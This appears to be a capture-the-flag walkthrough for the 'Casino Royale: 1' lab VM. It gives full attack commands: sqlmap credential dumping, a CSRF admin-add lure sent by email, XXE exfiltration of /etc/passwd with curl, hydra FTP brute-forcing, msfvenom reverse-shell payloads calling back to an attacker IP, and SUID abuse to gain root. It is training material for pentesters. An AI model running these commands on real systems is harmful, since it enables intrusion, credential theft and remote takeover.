Today we are going to solve another CTF challenge “Casino Royale: 1”. It is a vulnerable lab presented by author creosote for helping pentesters to perform online penetration testing according to your experience level. The challenge is to get root on the Targeted Virtual Machine and read the flag.sh within that directory.
- IP discovery and Port Scanning.
- Browsing the IP on port 8080.
- Discovering accessible directories on the victim’s machine.
- Searching exploits via searchsploit.
- Using SQLMAP to find database and login credentials.
- Browsing directories on the browser.
- Adding Domain name to /etc/hosts file.
- Searching exploits via searchsploit.
- Using Cross-Site Request Forgery Exploit code.
- Using telnet to connect to port 25.
- Tail off the access.log file.
- Browsing directories on a browser.
- Exploiting XML External Entity vulnerability.
- Using curl to send the file.
- Creating a PHP shell using msfvenom.
- Using hydra to brute force FTP login Password.
- Logging into Ftp.
- Using Multi/handler of Metasploit Framework.
- Enumerating through directories.
- Getting Login Credentials.
- Looking for SUID file and directories.
- Creating a bash shell using msfvenom.
- Using Netcat listener to get a reverse shell.
- Getting Root Access.
- Reading the Flag.
Let’s start off with discovering the IP address of our Target Machine.
Then we’ll continue with our nmap command to find out the open ports and services.
nmap -sV -p- 192.168.1.102
Since port 80 is open, we explored the Targets IP Address on the browser.
We didn’t found anything on the webpage, so we used dirb tool to enumerate the directories on the Targets IP Address.
Here, we found a useful directory index.php. Moving on.
We tried opening that directory index.php along with Targets IP Address in the browser. This page seems pretty interesting and gave us our next clue to proceed.
The page revealed a pokermax software term. This made us curious to look for it in searchsploit. And our intuition was right. We copied the exploits 6766.txt file on our machine and read it contents. It revealed a link which we tried opening in the browser.
searchsploit -m 6766
That link we opened directed us to Pokermax Poker League: Admin Login. Since we don’t any credentials time to bring up SQLMAP.
Let’s first find the database.
sqlmap -u http://192.168.1.102/pokeradmin/index.php --forms --risk 3 --level 5 --dbs --batch
The database we found is pokerleague.
Let’s look for the credentials of Admin Login in the database pokerleague.
sqlmap -u http://192.168.1.102/pokeradmin/index.php --forms --risk 3 --level 5 -D pokerleague --dump-all --batch
We have got the required credentials.
We have successfully logged into the Admin area. Looking for other clues.
After checking all the tabs on the page, we found some useful information in Edit info of player Valenka.
We have got a useful directory in player profile; let’s find out where it’s going to lead us. Also, it asked us to update Domain Name casino-royale.local in our hosts file.
Updating the hosts file.
After opening the directory along with domain name in the browser, we found something interesting about port 25 which was open. This information might come in handy.
Looking around we found a CMS Snowfox. Let’s find if it is on searchsploit.
We were right about it. There is an html file available about this exploit. So we copied the file to our machine.
searchsploit -m 35301
On reading the contents of the file, we found a script for CROSS SITE REQUEST FORGERY (add admin). So we copied this code.
Created a new file as raj.html and pasted the code in it, also we made some minor changes as you can see in the image.
After that, we have copied the file raj.html to /var/www/html folder of our machine. And restarted the service for apache2.
Let’s connect to port 25 using telnet. We will be sending a mail to recipient valenka along with the link of raj.html file. All the steps are shown in the image.
telnet casino-royale.local 25
We have just tail off the access log of apache2.
tail -n1 -f /var/log/apache2/access.log
Let’s Login with the credentials, we have given in the raj.html file in the Signin section of the page casino-royale.local/vip-client-portfolios/?uri=signin
Email address: firstname.lastname@example.org
After successfully logging in, we found another clue in Edit of email@example.com in manage players.
Another directory clue let’s open it in the browser and look what it holds.
We landed on this page.
Since that page doesn’t seem useful from outside. So, we checked its Page Source. This gave us a hint to use an XML External Entity injection for our next step.
So we looked for a code for XML External Entity injection online. Therefore, we created a new file xml.txt and pasted the code by making some minor changes.
Let’s send our XML External Entity Injection in file xml.txt using curl.
curl -d @xml.txt http://casino-royale.local/ultra-access-view/main.php
After exploiting the XML External Entity vulnerability, it gave us the /etc/passwd file. This contained a username for FTP Login i.e ftpUserULTRA
We have created a PHP shell payload using msfvenom.
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.107 lport=443 -f raw > shell.php5
We have used hydra to find the password of username ftpUserULTRA for Ftp Login. We have cracked the password for ftp login i.e bankbank
hydra -l ftpUserULTRA -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.102
Let’s just Login into FTP, after quiet messing up we are only able to send .php5 files or files with no extension. Time to upload our shell and gave permissions to execute.
ftp 192.168.1.102 21
chmod 777 shell.php5
After uploading our shell, we set up a listener using Metasploit-framework.
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.107
msf exploit(multi/handler) > set lport 443
msf exploit(multi/handler) > run
We got the reverse shell, but it is not a proper shell. We will spawn a tty shell using python.
python -c "import pty; pty.spawn('/bin/bash')"
After enumerating through directories, we found a useful file config.php. Let’s check it contents.
We when we read the contents of config.php. It gave us two useful credentials.
So, we used these credentials to login into Valenka.
After that, we tried to find files with SUID bit permissions.
find / -perm -4000 2>/dev/null
Here we found an interesting Suid file and directory.
On running the SUID file, we see it is most likely using a run.sh file but there no such file or directory. Since the run.sh has no permissions. So we decided to move to /tmp directory.
We need to create a bash code using Msfvenom:
msfvenom –p cmd/unix/reverse_netcat lhost=192.168.1.107 lport=1234 R
After that, we have copied the code in run.sh and executed python server.
python -m SimpleHTTPServer
We have downloaded the file in the /tmp directory. Again ran the SUID file.
This time on running the SUID file, it gave a reverse shell on our netcat listener. Finally, we have got the root access and read the FLAG!!
nc -lvp 1234
Author: Ashray Gupta is a Security Researcher and Technical Writer at Hacking Articles. Contributing 2 years in the field of security as a Penetration Tester and Forensic Computer Analyst. Contact Here
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